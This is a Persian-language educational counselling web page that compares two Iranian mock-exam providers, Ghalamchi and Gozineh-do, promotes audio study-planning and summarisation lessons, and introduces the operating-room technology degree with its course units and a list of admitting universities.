تناسب برنامه ریزی حجم بودجه بندی ازمون گزینه دو درطول تابستان همون سطح قلم چی هستش ولی خب به عقیده ی بچه ها گزینه دو برنامه اش سبکتره  نسبت به قلمچی!

درطول تابستون برای کسایی که پایه ی ضعیفی دارن چون گزینه دو بصورت تخصصی تمرکزش روی ۶۰ درصد مطالب که پایه دوم و سوم هستش گذاشته میتونه فرصت خوبی باشه که بتونند تاقبل از شروع سال چهارم تمرکزشونو روی پایه بذارن و نواقصشونو برطرف کنند

درطول سال تحصیلی چهارم هم به رسم سالیان گذشته در قالب ۱۲ مرحله ازمون بطور متوسط هر سه الی چهار هفته یکبار ازمون برگزار میکنه که

بودجه بندی ازمونش به نسبت سه هفته خیلی متناسب هستش

بخصوص دانش اموزانی که سال چهارم هستند  و مدارسشون طبق بودجه بندی ازمون نمیتونند پیش برن این سیستم این ازمون براشون متناسبه

اما برای فارغ التحصیلها من بشخصه توصیه نمیکنم و همون قلمچی رو مناسب تر میدونم


کیفیت سوالات

بطور کلی آزمون “قلمچی” به سطح بالا سوالات و حتی گاهی اوقات سوالات غیراستاندارد معروف هستش.اما من بشخصه نظر دیگه ای دارم!

من معتقدم سوالای سختی که ازمون داره میتونه دانش اموزا رو برای سوالات سخت کنکور اماده کنه و درنهایت این سختی سوالات منجر به این بشه  که کنکور اسون بشه براشون

بطور مثال خیلی های میگن فرضا درطول ازمونهای مهر ببعد هر دوهفته میخواد از ۶-۵ صفحه کتاب ۲۰-۳۰ تا سوال طرخ کنه خب این غیراستاندارد هستش!اما من میگم این سوالات باعث میشه که دانش اموز ریز بشه تو مباحث و به نقاط بکر کتاب پی ببره

جالب اینجاست که ممکنه این سختی سوالات اکثردانش اموزهارو ناامید کنه اما من خودم معتقد هستم سختی و سطح بالا بودن درطول دراز مدت به نفع دانش اموزهستش.

کیفیت سوالاتگزینه دو “رو میشه گفت همسطح کنکوره تاحدودی

اما خب بعضی اوقات دربعضی ازجاها سوالات خیلی ساده ای طرح میشه که اسون بودن زیادشون باعث میشه دانش اموزا نتونند بصورت ناگهانی برای سوالات سخت اماده بشند

اما خب بطور کلی براساس عقیده ی خیلی از دبیران اگر روی همین سطح سوالات ازمون گزینه دو  بتونی تسلط پیداکنید و ازپسشون بربیاید کنکور هم میتونید درصد نسبی خوبی بدست بیارید


خدمات آموزشی مکمل

۱۴۰۹

کانون قلمچی

خدمات آموزشی مکملی مثل پشتیبان و کتابهای کمک اموزشی مختلف باخودش بهمراه داره دربحث پشتیبان نمیشه صحبتی کرد چون در اکثر جاهای کشور پشتیبان اموزشی سواد آموزشی و مشاوره ای خوبی نداره متاسفانه وصرفا فقط همون دوهفته بین ازمون تماس میگیره که درس خوندی یا نه همین

اماخب اگر پشتیبان سواد مشاوره ای خوبی بصورت جامع نداشته باشه و وصرفا هدفش تبلیغات و فروش کتابها بوده باشه زیاد مناسب و بدرد بخور نیست.

نظر شخصی من اینه که اگردانش اموزی میخاد کانون بره باید سعی کنه با خوده کتابای کانون کارکنه تابتونه توازمونها موفق بشه

کتابای آبی-سه سطحی-سبز-وپرتکرار جز کتابای خوبی هستند که اگر بخواید بابرنامه ریزی درست بخونینش براتون خیلی موثره

البته خدمات صفحه شخصی کانون بیشتر وبهتره اما خب متاسفانه بدلیل عدم اگاهی دانش اموزا ازش بهره نمیبرند

ازنظرمن اون خدمات خیلی ارزشمندن واقعا کلاسور ارزیابی کارنامه بازیابی وازمونک مبحثی اگر دانش اموزی بخصوص فارغ التحصیلها اگرمتعهد باشند خیلی میتونه کاربردی باشه براشون

گزینه دو

خدمات آموزشی گزینه دوهم بیشتر تمرکزش روی مشاوره و جزوات هستش مشاوره های کارنامه ایش ساده وقابل فهم هستش و توصیحاتش باجزییات در هردرس خیلی میتونه کمک کننده باشه که دانش اموز روی چه مباحثی ایراد داشته و نیاز به تقویت داره

جزوات آموزشی که به نسبت خیلی از جزوات دست نویس سطح اینترنت خیلی بهتر و کامل ترهستند

که برای هرازمون مباحث ازمون بعد شامل میشه دی وی دی هم درکنارش بهتون خواهند داد که هم نکات مشاوره ای و هم فیلم های اموزشی خواهد داشت.

______________________________________________________________________________

هزینهمالیات

کانون قلمچی هزینه هاش باخدمات مختلفش درشهر های مختلف متفاوت هستشو هزینه ازمون بهمراه کتاب و پشتیبان و…. چیزی بین نهصذ تا یک میلیون شصد هزارتومان خواهد شد که بجز هزینه ی کتابهایی هستش که درطول سال باید تهیه کنید که خب برای خیلی ها این هزینه سنگین هستش.

ولی خب درعوض گزینه دو با هزینه ای به نسبت کمتر و خدمات مشابه ای که داره درطول تابستان باهزینه ای ۳۰۰تومان  و درطول سال ازاول مهر ببعد با هزینه ای حدود ۴۰۰تومان

که به نسبت میتوان گفت از نظر هزینه ای گزینه دو خیلی بهتره خواهد بود

________________________________________________________________________________________

جمع بندی

stock-vector-rubber-stamp-with-word-conclusion-inside-vector-illustration-283747268

درطول تابستون ازمونها برنامه ریزی آموزشی خوبی برای تقویت دروس پایه ندارنو بهتره خوده دانش اموز با برنامه ریزی ویاحتی درصورت نیاز باکمک یه مشاور برای سه ماه تابستونش برنامه ریزی کنه و بتونه مباحثی که توشون ضعیفه و مشکل داره بخصوص در اختصاصی ها تابتونه تقویت کنه و اشکالاتش برطرف بشه و بعد ازمهرماه ببعد میتونه به سراغ ازمونهای ازمایشی بره!

دانش اموزای سال چهارمی بدلیل درسهای سالچهارمشون که ممکنه جلوتر ویا عقب تر از ازمون باشه بهتره گزینه دو شرکت کنند البته لازمه حتما با یه مشاور دراین باره صحبت کنند چون مشاور میتونه سطحشونو ارزیابی کنه/بسنجه بعد اون سیستم اموزشی متناسب باخودشونو بهشون معرفی کنه

دانش اموزای فارغ التحصیل هم همینطور بطور کلی نظرمن اینه که از مهر ببعد درقلمچی شرکت کنند بشرطی که بتونند طبق سیستمش پیش برن ولی خب قبلش حتما با یه مشاور دراین باره مشورت کنند. تابتونند راه متناسب خودشونو پیداکرده و تااخر درست و اصولی ادامه بدند.

این مقایسه دراصل تفاوت و ایرادات این دو سیستم آموزشی بود تا شما ها بتونید با چشمی باز و شفاف بدور از هرگونه جبهه گیری تبلیغاتی ازاین تفاوت ها و نواقص ازدیدگاه یک کارشناس آگاه شده ومسیرخودتونو برای این یکسال سرنوشت ساز وبا دید بک دانش اموز آگاه و مطلع انتخاب کنید.

برنامه ریزی هشت هفته ای

طرح هشت هفته ای جمع  بندی صفرتا صد کنکور ویژه دانش اموزانی که تاالان نتوانستند خوب تاالان پیش برن

دراین فایل صوتی شما میتوانید ازاین تاریخ که اسفند ماه بوده و چهارماه تا کنکور بوده

درطول ۸هفته یعنی دوماه بامطالعه از صفر و حتی زیر صفر درصد خودتان را به درصد حداقل ۶۰ درصد حتمی و تضمینی برسانید

دراین فایل صوتی شما انچه که خواهید اموخت این است که میتوانید با گزیده خوانی مطالبی و فصول دروس مختلف و تمرکز ویژه برروی قسمتی از مطالب انهارا بصورت حتمی و ویژه یاد بگیرید.

درطول هشت هفته ی اینده شما درطول هرهفته حدود ۸-۱۰ درصد مطالب ازهردرس را خواهید خواند  که درمجموع بعد از گذشت هشت هفته  میتوانید به درصد ۶۴ الی ۸۰ درصد باتوجه به سطح تلاش و پشتکارتان دست پیدا کنید

این یک شعار همانند تبلیغات مختلف تلویزیونی نیست وشما دراین فایل صوتی خواهید دید که کنکور اگرچه سخت است اما غیر ممکن نیست

بارها گفته ام کنکور قانون اعدادو ارقام است و شما حاصل تلاشتان را درقالب اعداد و درصدو نمره خواهید گرفت

مانیز باهمین قانون به جنگ کنکور خواهیم رفت شما خودتان بگویید ایا خواندن شبی یک الی دو درس دینی مشکل است؟ ویا یک فصل از شیمی درطول یک هفته خواندن کار سختیست؟

درسته که حجم مطالب و مباحث زیاد است اما تاکید میکنم با خورد خورد کردن مباحث بزرگ به مباحث کوچکتروساده ترکردنشان میتوان به نتیجه مطلوب دست یافت

جهت دانلود فایل صوتی برنامه ریزی هشت هفته ای کلیک کنید.

 

خلاصه نویسی یا داستان نویسی؟

خلاصه نویسی یا داستان نویسی؟

طولانی بودن خلاصه نویسی و وقت گیر بودن آن همواره موجب شده تا دانش اموزان ازاین مقوله مهم غافل باشند و انرا کاری بیهوده و وقت گیر تلقی کنند.

باید در نظر داشت که خلاصه نویسی درواقع همانطور که از اسمش پیداست یکی از مهمترین اصول یاددگیری برای بازدهی است

خلاصه نویسی یعنی خلاصه و شیره و چکیده ی یک مطلب که ما همواره با مطالعه ان کلیات مطلب مادر را به یاد بیاوریم.

اما دانش اموزان بارها به ما میگویند که ما مشکل خلاصه نویسی داریم برای یکم فصل ۱۸ صفحه ای ۲۵ صفحه خلاصه نویسی کردیم که بسیار وقت گیر بوده و هرچه هم میخوانیم دریادمان نمی ماند.

درفایل صوتی زیر شما نحوه خلاصه نویسی  دروس مختلف را که هرکدام سبک خاص خودرا دارند اززبان استاد محمدی خواهید اموخت.

خلاصه نویسی

فایل صوتی برنامه ریزی از صفر برای دانش اموزانی که تازه از اسفند میخواهند شروع به مطالعه بکنند

مطالعه و برنامه ریزی و هدفگذاری دروس  از صفر تا ۶۰ برای کنکور در چهارماه

مشاوره خصوصی

معرفی رشته اتاق عمل+رتبه لازم

هدف و ماهیت

 گسترش مراکز بیمارستانی دارای اتاق عمل جراحی و نیاز روزافزون به افراد کاردان برای اداره اتاق‌های عمل جراحی، بیانگر نیاز جامعه به تکنسین اتاق عمل است. افرادی که می‌توانند درمسائل فنی، پزشکان جراح را یاری دهند. فارغ‌التحصیلان این رشته می‌توانند در اتاق عمل به جراحان کمک‌های لازم فنی را ارائه دهند. همچنین این دسته از متخصصان می‌توانند وسائل جراحی و استریل را جهت استفاده آماده نمایند و اداره اتاق عمل را به عهده گیرند.
در سراسر دنیا برنامه اتاق عمل به دو صورت ارائه می شود : در حالت اول دانش آموختگان رشته ی کارشناسی  پرستاری ( پس ازکسب مدرک لیسانس) در یک دوره ۱-۲ ساله برای ورود به اتاق عمل آموزش می بینند. در حالت دوم دانشجویان در مقطع کاردانی آموزش های عمومی دوره اتاق عمل را می گذرانند و برای ایفای نقش به عنوان فرد سیار و اسکراب آماده می شوند و سپس درصورت تمایل در یک دوره ی ۵/۱-۵/۲ ساله برای ایفای نقش به  عنوان کمک اول جراح آماده می شوند.به عنوان مثال با نگاهی به انجمن پرستاران دانشگاه کارولینسکا مشخص می شود که پرستاران پس از طی دوره کارشناسی و اخذ پروانه کار بع صورت RN ، می توانند با گذراندن یک
دوره دانشگاهی مصوب به مدت ۴۵ هفته( تقریبا یکسال ) مدرک تحصیلی اطاق عمل دریافت نموده و به عنوان یک فرد با تجربه در اطاق عمل مشغول به کار گردند.و یا در کالج پرستاران اطاق عمل استرالیا،پرستاران پس از دوره کارشناسی و اخذ پروانه کار به صورت RN می توانند طی یک دوره دانشگاهی مصوب با گذراندن ۲۷ موضوع درسی به صورت پرستار متخصص قبل،حین و بعد از عمل در نقش های پرستار بیهوشی ،پرستار سیرکولیت ، پرستار ثبت ، پرستار تجهیزات ، کمک جراح ، پرستار ریکاوری و بعد از عمل و پرستار بررسی و شناخت و آموزش به بیمار قبل از عمل فعالیت کنند.

نطری براستاندارد های مراقبت از بیماران در انجمن پرستاران اتاق عمل آمریکا نیز نشان می دهد که دانشجویان  دوره های تکنسین اتاق عمل می توانند تا دوره های تخصصی بالاتر ادامه تحصیل دهند . با ذکر این نکته که افراد هر  دوره ای شرح وظایف خاص خود را دارند و نقش افرادی که دوره تخصصی را طی کرده اند با تکنسین اتاق عمل تفاوت  دارد . با نگاهی بر استانداردهای مراقبت از بیمار در انجمن پرستاران اتاق عمل امریکا نی. نشان می دهد که دانشجویان  دوره های تکنسین اتاق عمل می توانند تا دوره های تخصصی بالاتر ادامه تحصیل دهند.با ذکر این نکته که افراد  هر دوره ای شرح وظایف خاص خود را دارند و نقش افرادی که دوره تخصصی را طی کرده اند با تکنسین اطاق عمل تفاوت دارند .با نگاهی به استاندارد های انجمن تکنولوژیست های جراحی (AST) نیز مشاهده می شود که افراد شاغل در اتاق عمل دارای مدارک متقاوتی می باشند به عنوان مثال تکنولوژیست های جراحی برای ایفای نقش اسکراب در سه سطح ۱-۲-۳ آموزش می بینند.در سطح اول فرد در عمل های عمومی وارد می شود در سطح دوم می تواند در عمل های تخصصی تر ایفای نقش نماید و در سطح سوم فرد در حوزه ی مدیریت نیز وارد می گردد.

رشته اتاق عمل درایران درمقطع کاردانی بین سالهای ۱۳۶۶ تا۱۳۸۰ودرمقطع کارشناسی پیوسته وناپیوسته ازسال ۱۳۸۷  دردانشکده های مختلف سطح کشورراه اندازی گردید. این رشته دردانشکده های پیراپزشکی ویاپرستاری به دانشجویان  ارائه میگردد. دراین دانشکده ها گروه اتاق عمل متولی اداره دانشجویان دررشته اتاق عمل میباشد.درکشورایران تاکنون  رشته ای مشابه رشته کارشناسی اتاق عمل وجودنداشته است ودانشجویان دردوره های کاردانی اتاق عمل شروع به  تحصیل نموده ودرصورت تمایل به ارتقاء علمی وعملی خودباشرکت درکنکورکارشناسی ناپیوسته بعنوان پرستاردراتاق عمل یاسایربخشهامشغول بکارمیشوند.

ضرورت وجودحرفه وارتقاء حرفه ای:

تکنولوژیستهای اتاق عمل عضومهمی ازتیمهای بهداشتی بوده که درتماس نزدیک باجراحان ، متخصصان بیهوشی وپرستاران درراستای تامین مراقبتی مطلوب برای بیماران فعالیت میکنندوازآن جا که سنگ زیربنایی رشدوتوسعه یک حرفه ، آموزش آن حرفه میباشد. انتظارمیرودکه تاسال ۲۰۱۲ میزان نیازبه تکنولوژیستهای اتاق عمل سریعترازحدمتوسط افزایش یابد . علت این امرافزایش تعدادوانواع اعمال جراحی ورشدجمعیت ونیزافزایش تعدادونیزافزایش میزان سالمندی است . (زیراافرادسالمندنیازبه اعمال جراحی بیشتری دارند. ازطرفی تغییرات وسیع وچشمگیرموجوددرتکنیکهای جراحی نیازمندهم سطح شدن تکنسینهای جراحی بانقشهاووظایف جدیدبوده وبرنامه آموزشی کنونی برای برآوردن نیازهای پرسنل اتاق عمل درآینده کافی نخواهدبود. وباایجاد رشته کارشناسی اتاق عمل امکان دستیابی به بخشی ازمهارت ودانش موردنظر راپیدا خواهند نمود.
رسالت رشته :

رسالت رشته اتاق عمل درمقطع کارشناسی پیوسته تربیت نیروی انسانی آگاه ، متعهدوکارآمداست.که باکسب توانائیهای حرفه ای دراتاق عمل وبهره مندی ازدانش وتکنولوژی روز، خدمات موردنیازمراقبتی وآموزشی مقرون به صرفه را در بالاترین سطح استانداردجهت تعمیم ، حفظ وارتقاء سطح سلامت بیماروجامعه ارائه دهند.

توانایی فردی موردنیازبرای رشته:

برای انجام استانداردهای این حرفه ، صداقت وپایبندی به اصول اخلاقی ضروری است. یک تکنولوژیست اتاق عمل شایسته بایدنگرشی مراقبتی نسبت به بیمارودیگراعضای تیمهای جراحی ومحیط داشته باشد. وی بعنوان عضوی ازتیم اتاق عمل ، بایدقادرباشدکه باسرعت وبادقت به جزئیات کارکند. قادربه اولویت بندی مسائل درشرایط اورژانس وپراسترس باشد، بنابراین نیازبه افرادی است که احساس مسئولیت شدیدوشخصیت باثبات داشته ، صبوروعلاقمندبه کمک به دیگران بوده وبه نیازهای بیمارودیگراعضای تیم جراحی حساس باشند. وازآن جا که کاردراتاق عمل نیازبه ایستادن برای مدت زمان طولانی وتوانائی برای جابجایی وبلندکردن اشیا سنگین داردوفردرادرمعرض مناظروبوهای ناخوشایند، بیماریهای مسری وموادخطرناک قرارمیدهد ، فرد باید توانائی جسمی لازم راداشته باشد.

امکان ادامه تحصیل درمقاطع بالاتر:

نظربه اینکه این رشته ، رشته ای کاملاً نوپا میباشد. درحال حاضربه نظرمیرسددانش آموختگان این رشته بتواننددرآینده دررشته های مرتبط مانندآناتومی ، فیزیولوژی ، مهندسی تجهیزات پزشکی ، کمک اول جراح و…. ادامه تحصیل دهند. اعضای این گروه امیدوارهستندکه بتوانندباتلاش خوددرجهت ارتقاء واعتلای این حرفه گامی هرچندکوچک بردارند.

فرصت های شغلی :

اغلب تکنولوژیستهای اتاق عمل دربیمارستانها ومراکزمراقبتی سیاراستخدام میشوند. اگرچه بیمارستانها اولین استخدام کننده این گروه میباشنداماانتظارمیروداستخدام آنها درمراکزجراحی سیار، مراکزمراقبتی سرپایی ومطبهای پزشکان افزایش یابد. به هرحال به علت زمینه آموزشی وسیع وتخصصی که این افراددارند، سازمانهای استخدام کننده واین دانش آموختگان میتوانندگزینه های زیررانیزدرنظربگیرند.

تخصص یافتن درزمینه های موردعلاقه مانندجراحی قلب ، ارتوپدی واطفال و….

استخدام توسط یک سازمان پزشکی برای ارائه محصولات آنها

آموزش تکنولوژیست های اتاق عمل .

خدمات نظامی

استخدام بعنوان مشاور

البته برخی ازاین مشاغل نیازبه دوره های آموزشی اضافی دارد.

طول دوره کارشناسی اتاق عمل :

طول دوره کارشناسی پیوسته رشته اتاق عمل ونظام آموزشی آن مطابق آئیننامه آموزشی دوره کارشناسی پیوسته وناپیوسته مصوب شورای عالی برنامه ریزی علوم پزشکی است. مدت تحصیل حداقل ۴سال و حداکثر ۵سال(در شرایط خاص و با موافقت آموزش کل دانشگاه علوم پزشکی مثل مرخصی تحصیلی و……. ) میباشد.

نام درس وتعدادواحدهای درسی :

تعدادکل واحدهای درسی دوره کارشناسی پیوسته رشته اتاق عمل ۱۳۰ واحدوبه شرح زیرمیباشد.

دروس عمومی : ۲۲ واحد ، دروس پایه ، اختصاصی وکارآموزی ۸۴ واحد ، کارآموزی درعرصه : ۲۴ واحد

نکته: در اعلام سرفصل دروس این رشته از سایت وزارت علوم استفاده شده است.این سرفصل صرفا جهت آشنایی کلی با محتوای دروس است و احتمال تغییرات جزیی وجود دارد.

 

دروس عمومی کارشناسی اتاق عمل

نام درس تعداد واحد نام درس تعداد واحد
دو درس ازدروس مبانی نظری اسلام ۴ ادبیات فارسی ۳
یک درس از دروس اخلاق اسلامی ۲ زبان عمومی ۳
یک درس از دروس انقلاب اسلامی ۲ تربیت بدنی ۱ ۱
یک درس ازدروس تاریخ وتمدن اسلامی ۲ تربیت بدنی ۲ ۱
یک درس از دروس آشنایی با منابع اسلامی ۲ جمع ۲۰

 

دروس پایه، اختصاصی و کارآموزی کارشناسی اتاق عمل

نام درس تعداد واحد نام درس تعداد واحد
تشریح ۱ ۲ آشنایی با بیماریهای داخلی ۲
تشریح ۲ ۲ تکنولوژی جراحی در جراحیهای گوارش و غدد ۳
فیزیولوژی ۱ ۲ تکنولوژی جراحی در جراحیهای زنان و ارولوژی  (اداری – تناسلی) ۲
فیزیولوژی ۲ ۱ تکنولوژی جراحی در جراحیهای قلب (قلب و عروق) و تنفس ۲
شیمی آلی و بیوشیمی ۲ تکنولوژی جراحی در جراحیهای اعصاب و ارتوپدی ۳
میکروب شناسی و انگل شناسی ۳ تکنولوژی جراحی در جراحیهای ENT فک  و صورت و چشم ۲
آسیب شناسی ۱ تکنولوژی جراحی در جراحیهای اطفال ۱
خون شناسی و انتقال خون ۲ تکنولوژی جراحی در جراحیهای پوست و سوختگی و پیوند ۱
ایمونولوژی ۲ بیهوشی ۲
آمار حیاتی ۱ روش احیای قلبی و ریوی و اصول مراقبت های ویژه ۳
روش تحقیق در اتاق عمل ۱ اصول پیشرفته مراقبت در اتاق بهبودی ۲
فناوری اطلاعات در اتاق عمل ۲ فوریتها ۱
فیزیک پزشکی و الکتریسیته و رباتیک و کاربرد آن در اتاق عمل ۲ مدیریت در اتاق عمل ۲
روان شناسی عمومی ۳ اخلاق حرفه ای در اتاق عمل ۱
داروشناسی ۱ کارآموزی مهارتهای پرستاری در بخش های داخلی و جراحی ۲
اصطلاحات پزشکی ۲ کارآموزی رفتار در اتاق عمل ۱
زبان تخصصی ۲ کارآموزی بخش استریل مرکزی ۱
بهداشت روان در اتاق عمل ۲ کارآموزی اصول و فنون عملکرد فرد اسکراب و سیار ۲
بهداشت ۲ کارآموزی تکنیک اتاق عمل ۳
اصول و فنون عملکرد فرد سیار ۲ کارآموزی روشهای احیاء قلبی ریوی ۱
اصول و فنون عملکرد فرد اسکراب ۲ کارآموزی اصول مراقبت در اتاق بهبودی ۲
اصول استریلیزاسیون و ضدعفونی ۱ کارآموزی مدیریت در اتاق عمل ۱
آشنایی با وسایل و تجهیزات اتاق عمل ۲ کارآموزی در اتاق عمل اورژانس ۱
مقدمه ای بر تکنولوژی جراحی ۲ جمع ۸۴

 

دروس کارآموزی در عرصه کارشناسی اتاق عمل

نام درس تعداد واحد نام درس تعداد واحد
کارآموزی در عرصه ارتوپدی ۲ کارآموزی در عرصه فک و صورت * ۲
کارآموزی در عرصه اعصاب ۲ کارآموزی در عرصه توراکس * ۲
کاراموزی در عرصه سوختگی و ترمیمی * ۲ کارآموزی در عرصه ENT ۲
کارآموزی در عرصه زنان ۲ کارآموزی در عرصه اطفال  * ۱
کارآموزی در عرصه اورولوژی (ادراری ـ تناسلی) ۲ کارآموزی در عرصه جراحی گوارش و غدد ۲
کارآموزی در عرصه قلب و عروق * ۲ کارآموزی در عرصه در یک حیطه جراحی ( انتخابی) ۱
کارآموزی در عرصه چشم ۲ جمع ۲۴

*دانشگاه هایی  که امکانات کافی جهت ارائه این دروس به صورت کارآموزی در عرصه ندارند ، واحد معادل این کارآموزی ها را به کارآموزی های در عرصه ارتوپدی، زنان، گوارش و غدد و اعصاب اضافه نمایند.
** کارآموزی در عرصه منحصراً در بخش های آموزشی و با حضور مربی صورت می گیرد.

 

 

دانشگاه هایی که در رشته اتاق عمل پذیرش دانشجو دارند (بر اساس دفترچه کنکور ۹۳)

دانشگاه علوم پزشکی اراک دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه
دانشگاه علوم پزشکی اصفهان دانشگاه علوم پزشکی البرز دانشگاه علوم پزشکی ایلام
دانشگاه علوم پزشکی بابل دانشگاه علوم پزشکی بندرعباس دانشگاه علوم پزشکی بوشهر
دانشگاه علوم پزشکی بیرجند دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تهران
دانشگاه علوم پزشکی جهرم دانشگاه علوم پزشکی اهواز دانشگاه علوم پزشکی بجنورد
دانشگاه علوم پزشکی رفسنجان دانشگاه علوم پزشکی زابل دانشگاه علوم پزشکی زاهدان
دانشگاه علوم پزشکی زنجان دانشگاه علوم پزشکی سبزوار دانشگاه علوم پزشکی سمنان
دانشگاه علوم پزشکی شاهرود دانشگاه علوم پزشکی شهرکرد دانشگاه علوم پزشکی شهید بهشتی
دانشگاه علوم پزشکی شیراز دانشگاه علوم پزشکی فسا دانشگاه علوم پزشکی قزوین
دانشگاه علوم پزشکی قم دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کردستان
دانشگاه علوم پزشکی کرمان دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی گلستان
دانشگاه علوم پزشکی گناباد دانشگاه علوم پزشکی گیلان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی مشهد دانشگاه علوم پزشکی همدان
دانشگاه علوم پزشکی یاسوج دانشگاه علوم پزشکی یزد دانشگاه شاهد
دانشگاه علوم پزشکی تربت حیدریه دانشگاه علوم پزشکی بقیت الله دانشگاه علوم پزشکی ارتش
دانشکده علوم پزشکی خمین دانشکده علوم پزشکی گراش(فارس) دانشکده علوم پزشکی ایرانشهر
دانشکده علوم پزشکی نیشابور دانشگاه علوم پزشکی جیرفت دانشکده علوم پزشکی لارستان
دانشکده علوم پزشکی بهبهان دانشگاه علوم پزشکی ایران دانشگاه علوم پزشکی دزفول
دانشکده علوم پزشکی آبادان دانشکده علوم پزشکی ساوه دانشکده علوم پزشکی مراغه
دانشگاه علوم پزشکی شوشتر دانشکده علوم پزشکی ایرانشهر

 

دانشگاه هایی که در رشته اتاق عمل پذیرش دانشجو دارند (بر اساس دفترچه کنکور ۹۴)

دانشگاه علوم پزشکی اراک دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه
دانشگاه علوم پزشکی اصفهان دانشگاه علوم پزشکی البرز دانشگاه علوم پزشکی ایلام
دانشگاه علوم پزشکی بابل دانشگاه علوم پزشکی بندرعباس دانشگاه علوم پزشکی بوشهر
دانشگاه علوم پزشکی بیرجند دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تهران
دانشگاه علوم پزشکی جهرم دانشگاه علوم پزشکی اهواز دانشگاه علوم پزشکی بجنورد
دانشگاه علوم پزشکی رفسنجان دانشگاه علوم پزشکی زابل دانشگاه علوم پزشکی زاهدان
دانشگاه علوم پزشکی زنجان دانشگاه علوم پزشکی سبزوار دانشگاه علوم پزشکی سمنان
دانشگاه علوم پزشکی شاهرود دانشگاه علوم پزشکی شهرکرد دانشگاه علوم پزشکی شهید بهشتی
دانشگاه علوم پزشکی شیراز دانشگاه علوم پزشکی فسا دانشگاه علوم پزشکی قزوین
دانشگاه علوم پزشکی قم دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کردستان
دانشگاه علوم پزشکی کرمان دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی گلستان
دانشگاه علوم پزشکی گناباد دانشگاه علوم پزشکی گیلان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی مشهد دانشگاه علوم پزشکی همدان
دانشگاه علوم پزشکی یاسوج دانشگاه علوم پزشکی یزد دانشگاه شاهد
دانشگاه علوم پزشکی تربت حیدریه دانشگاه علوم پزشکی بقیت الله دانشگاه علوم پزشکی ارتش
دانشکده علوم پزشکی خمین دانشکده علوم پزشکی گراش(فارس) دانشکده علوم پزشکی ایرانشهر
دانشکده علوم پزشکی نیشابور دانشگاه علوم پزشکی جیرفت دانشکده علوم پزشکی لارستان
دانشکده علوم پزشکی بهبهان دانشگاه علوم پزشکی ایران دانشگاه علوم پزشکی دزفول
دانشکده علوم پزشکی آبادان دانشکده علوم پزشکی ساوه دانشکده علوم پزشکی مراغه
دانشگاه علوم پزشکی شوشتر دانشکده علوم پزشکی ایرانشهر

 

دانشگاه هایی که در رشته اتاق عمل پذیرش دانشجو دارند (بر اساس دفترچه کنکور ۹۵)
(غیر از دانشگاه پیام نور، موسسات غیرانتفاعی و دانشگاه آزاد)

دانشگاه علوم پزشکی اراک دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه
دانشگاه علوم پزشکی اصفهان دانشگاه علوم پزشکی البرز دانشگاه علوم پزشکی ایلام
دانشگاه علوم پزشکی بابل دانشگاه علوم پزشکی بندرعباس دانشگاه علوم پزشکی بوشهر
دانشگاه علوم پزشکی بیرجند دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تهران
دانشگاه علوم پزشکی جهرم دانشگاه علوم پزشکی اهواز دانشگاه علوم پزشکی بجنورد
دانشگاه علوم پزشکی رفسنجان دانشگاه علوم پزشکی زابل دانشگاه علوم پزشکی زاهدان
دانشگاه علوم پزشکی زنجان دانشگاه علوم پزشکی سبزوار دانشگاه علوم پزشکی سمنان
دانشگاه علوم پزشکی شاهرود دانشگاه علوم پزشکی شهرکرد دانشگاه علوم پزشکی شهید بهشتی
دانشگاه علوم پزشکی شیراز دانشگاه علوم پزشکی فسا دانشگاه علوم پزشکی قزوین
دانشگاه علوم پزشکی قم دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کردستان
دانشگاه علوم پزشکی کرمان دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی گلستان
دانشگاه علوم پزشکی گناباد دانشگاه علوم پزشکی گیلان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی مشهد دانشگاه علوم پزشکی همدان
دانشگاه علوم پزشکی یاسوج دانشگاه علوم پزشکی یزد دانشگاه شاهد
دانشگاه علوم پزشکی تربت حیدریه دانشگاه علوم پزشکی بقیت الله دانشگاه علوم پزشکی ارتش
دانشکده علوم پزشکی خمین دانشکده علوم پزشکی گراش(فارس) دانشکده علوم پزشکی ایرانشهر
دانشکده علوم پزشکی نیشابور دانشگاه علوم پزشکی جیرفت دانشکده علوم پزشکی لارستان
دانشکده علوم پزشکی بهبهان دانشگاه علوم پزشکی ایران دانشگاه علوم پزشکی دزفول
دانشکده علوم پزشکی آبادان دانشکده علوم پزشکی ساوه دانشکده علوم پزشکی مراغه
دانشگاه علوم پزشکی شوشتر دانشکده علوم پزشکی ایرانشهر دانشگاه علوم پزشکی بم
دانشگاه علوم پزشکی شاهد

رشته های ارشد اتاق عمل (بر اساس دفترچه کنکور ارشد علوم پزشکی ۹۵):

فارغ التحصیلان کارشناسی اتاق عمل می توانند در رشته های زیر در مقطع ارشد ادامه تحصیل دهند:

  • رشته مهندسی پزشکی (بیوالکتریک)
  • رشته مهندسی پزشکی (زیست مواد)
  • رشته اپیدمیولوژی
  • رشته ارزیابی فناوری سلامت
  • رشته اقتصاد بهداشت
  • رشته انفورماتیک پزشکی
  • رشته ارگونومی
  • رشته آمار زیستی
  • رشته آموزش بهداشت
  • رشته پرستاری مراقبتهای ویژه
  • رشته پرستاری مراقبتهای ویژه نوزادان
  • رشته تکنولوژی گردش خون
  • رشته علوم بهداشتی در تغذیه
  • رشته علوم تشریحی
  • رشته علوم تغذیه
  • رشته فناوری اطلاعات سلامت
  • رشته فیزیولوژی
  • رشته کتابداری و اطلاع رسانی پزشکی
  • رشته مدیریت خدمات بهداشتی درمانی
  • رشته نانوتکنولوژی پزشکی
  • رشته زیست فناوری پزشکی
  • رشته رفاه اجتماعی
  • تاریخ علوم پزشکی
  • آموزش پزشکی
  • اتاق عمل
  • برنامه ریزی یادگیری الکترونیکی در علوم پزشکی

توضیحات تکمیلی استاد محمدی درباره ی این رشته:

